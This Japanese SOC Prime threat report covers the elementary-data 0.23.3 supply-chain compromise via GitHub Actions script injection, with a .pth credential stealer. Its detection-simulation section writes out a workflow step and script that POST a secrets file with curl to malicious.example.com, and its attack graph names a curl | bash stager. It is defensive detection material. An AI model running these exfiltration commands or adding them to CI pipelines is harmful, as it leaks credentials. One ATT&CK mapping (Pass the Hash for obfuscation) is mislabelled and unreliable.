SOC Prime Bias: クリティカル

29 4月 2026 17:42

偽のGitHubリリースを介してPyPIおよびGHCRでElementary-dataが侵害される

Author Photo
SOC Prime Team linkedin icon フォローする
偽のGitHubリリースを介してPyPIおよびGHCRでElementary-dataが侵害される
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

悪質なバージョンの elementary-data Pythonパッケージ、バージョン 0.23.3がPyPIにアップロードされ、それと一致する改ざんされたコンテナイメージがGitHub Container Registryにもプッシュされました。攻撃者は悪意のあるコードをGitHub Actionsのワークフローに挿入し、署名されたリリースを偽造してからワークフロートークンを濫用してバックドア付きアーティファクトを公開しました。このペイロードは三段階の資格情報盗難ツールとして機能し、秘密を収集し、攻撃者が制御するドメインに流出させるように設計されていました。影響を受けたパッケージをインストールしたり最新のコンテナイメージをプルした環境はすべて、危険にさらされています。

調査

調査では、攻撃は直接ワークフロースクリプトに挿入されたオープンプルリクエストのコメントから始まったことが判明しました。このコメントによってスクリプトインジェクションが可能になりました。ワークフローの GITHUB_TOKENを利用して、攻撃者は偽造されたリリースコミットを作成し、発行プロセスをトリガーしました。このプロセスにより、トロイの木馬化されたホイールとDockerイメージが配布されました。解析により、悪質な .pth ファイルがBase64ラッパーをデコードし、最終コレクションコンポーネントを復号し、広範な資格情報を収集してから、 curl.

を通じてカスタムの指揮統制ドメインに送信することが判明しました。

プロジェクトメンテナーは悪質なパッケージバージョンをPyPIから削除し、ガチコンプロミスされたイメージをGHCRから削除して、クリーンな代替品のバージョン 0.23.4を公開しました。StepSecurityはHarden-Runnerブロックリストに悪質なパッケージバージョンと攻撃者が制御するドメインを追加し、プルリクエストの実行中にパッケージをブロックしました。開発者はパッケージバージョンとイメージダイジェストを正確にピン留めし、浮動タグに依存せず、予期しない .pth ファイルに対してインストールされた依存関係を監査する必要があります。

対応

ディフェンダーは elementary.pthsite-packages 内に存在するかを調査し、疑わしいDockerイメージダイジェストを取得したシステムを特定する必要があります。既知の指揮統制ドメインへのアウトバウンド接続をすぐにブロックする必要があります。セキュリティチームは開発者のワークステーションとビルド環境をスキャンして公開された秘密情報を検出し、危険にさらされたパッケージを除去し、影響を受けた資格情報を更新するべきです。CI/CDパイプラインを更新してパッケージの出処を検証し、厳格なイメージピンニングを強制する必要もあります。

graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>アクション</b> – <b>T1195.002 サプライチェーン侵害</b><br/>攻撃者は elementary-data の悪意あるバージョン 0.23.3 を PyPI に公開し、プロジェクトの正規パイプラインを使用してトロイの木馬化された Docker イメージを GHCR にプッシュする。”] class node_supply_chain action node_exploit_cred[“<b>アクション</b> – <b>T1212 資格情報取得のためのエクスプロイト</b><br/>細工されたコメントによる GitHub Actions ワークフローへのスクリプト注入により curl | bash ステージャーが実行され、リポジトリの GITHUB_TOKEN を悪用して偽のリリースコミットを作成する。”] class node_exploit_cred action node_implant_image[“<b>アクション</b> – <b>T1525 内部イメージのインプラント</b><br/>悪意のある Docker イメージ(latest タグ)が取得され実行され、永続的な悪意ある実行環境を提供する。”] class node_implant_image action node_user_exec[“<b>アクション</b> – <b>T1204.003 ユーザー実行: 悪意のあるイメージ</b><br/>侵害されたイメージから生成されたコンテナは起動時に自動的にペイロードを実行する。”] class node_user_exec action node_cred_files[“<b>アクション</b> – <b>T1552.001 安全でない資格情報: ファイル内の資格情報</b><br/>ペイロードは SSH 秘密鍵、クラウド資格情報、Docker および Kubernetes 設定などの秘密ファイルを収集する。”] class node_cred_files action node_private_keys[“<b>アクション</b> – <b>T1552.004 安全でない資格情報: 秘密鍵</b><br/>.ssh やウォレットディレクトリから秘密鍵ファイルを特定して収集する。”] class node_private_keys action node_archive[“<b>アクション</b> – <b>T1560 収集データのアーカイブ</b><br/>収集したデータは tar-gz アーカイブに圧縮される。”] class node_archive action node_archive_lib[“<b>アクション</b> – <b>T1560.002 ライブラリによるアーカイブ</b><br/>tar ライブラリを使用して trin.tar.gz を作成する。”] class node_archive_lib action node_obfusc[“<b>アクション</b> – <b>T1027.015 難読化されたファイルまたは情報: 圧縮</b><br/>悪意のある .pth ファイルは base64 エンコードおよび XOR-MD5 で暗号化されている。”] class node_obfusc action node_pass_hash[“<b>アクション</b> – <b>T1550.002 代替認証情報の使用: Pass the Hash</b><br/>ペイロードは XOR と MD5 ストリーム暗号を使用して自身の段階を隠す。”] class node_pass_hash action node_exfil[“<b>アクション</b> – <b>T1048 代替プロトコルによるデータ流出</b><br/>アーカイブは単一の curl POST により C2 ドメインへ送信される。”] class node_exfil action %% Tools tool_pypi[“<b>ツール</b> – <b>名前</b>: PyPI<br/><b>タイプ</b>: Python パッケージリポジトリ”] class tool_pypi tool tool_ghcr[“<b>ツール</b> – <b>名前</b>: GitHub Container Registry (GHCR)<br/><b>タイプ</b>: Docker イメージレジストリ”] class tool_ghcr tool tool_github_actions[“<b>ツール</b> – <b>名前</b>: GitHub Actions<br/><b>タイプ</b>: CI/CD エンジン”] class tool_github_actions tool tool_curl[“<b>ツール</b> – <b>名前</b>: curl<br/><b>タイプ</b>: データ転送コマンドラインツール”] class tool_curl tool tool_bash[“<b>ツール</b> – <b>名前</b>: bash<br/><b>タイプ</b>: シェルインタープリタ”] class tool_bash tool %% Malware malware_docker_image[“<b>マルウェア</b> – <b>名前</b>: 悪意のある Docker イメージ<br/><b>タグ</b>: latest”] class malware_docker_image malware malware_payload[“<b>マルウェア</b> – <b>名前</b>: .pth ペイロードファイル<br/><b>難読化</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl

アタックフロー

## シミュレーション実行

前提条件: テレメトリ & ベースラインのプレフライトチェックを通過している必要があります。

根拠:このセクションでは、検出ルールをトリガーするために設計された敵の技術戦術手段(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目的としています。

  • 攻撃の話 & コマンド:
    攻撃者はGitHub ActionsをCI/CDに使用するリポジトリを侵害しました。彼らはワークフローファイルに悪意のあるステップを追加します:

    - name: データを流出
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    ワークフローがGitHub Actionsランナーで実行されると、プロセスツリーは次のように見えます:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (親プロセス)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (子プロセス)

    The auditd ステップ2の記録には、Sigma条件を満たすコマンドラインが含まれています。 bash and curl --data-binary

  • 回帰テストスクリプト:

    #!/usr/bin/env bash
    #
    # 検出ルールをトリガーする悪意のあるGitHub Actionsステップをシミュレートします。
    # 一時的なファイルを作成し、ダミーデータを書き込み、それをbashでラップしたcurlを使用して流出させます。
    
    set -euo pipefail
    
    # 1. ダミーの秘密データを作成
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. 脆弱なパターンを利用して流出を実行
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. テスターへの確認出力
    echo "悪意のある流出がシミュレートされました;一時ファイル$tmpfileはクリーンアップで削除されるべきです。"
  • クリーンアップコマンド:

    #!/usr/bin/env bash
    # シミュレーション中に作成された一時ファイルを削除
    rm -f /tmp/secret_data.*
    
    # オプションですが、残存しているかもしれないcurlプロセスを停止(必要ないはず)
    pkill -f "curl --data-binary" || true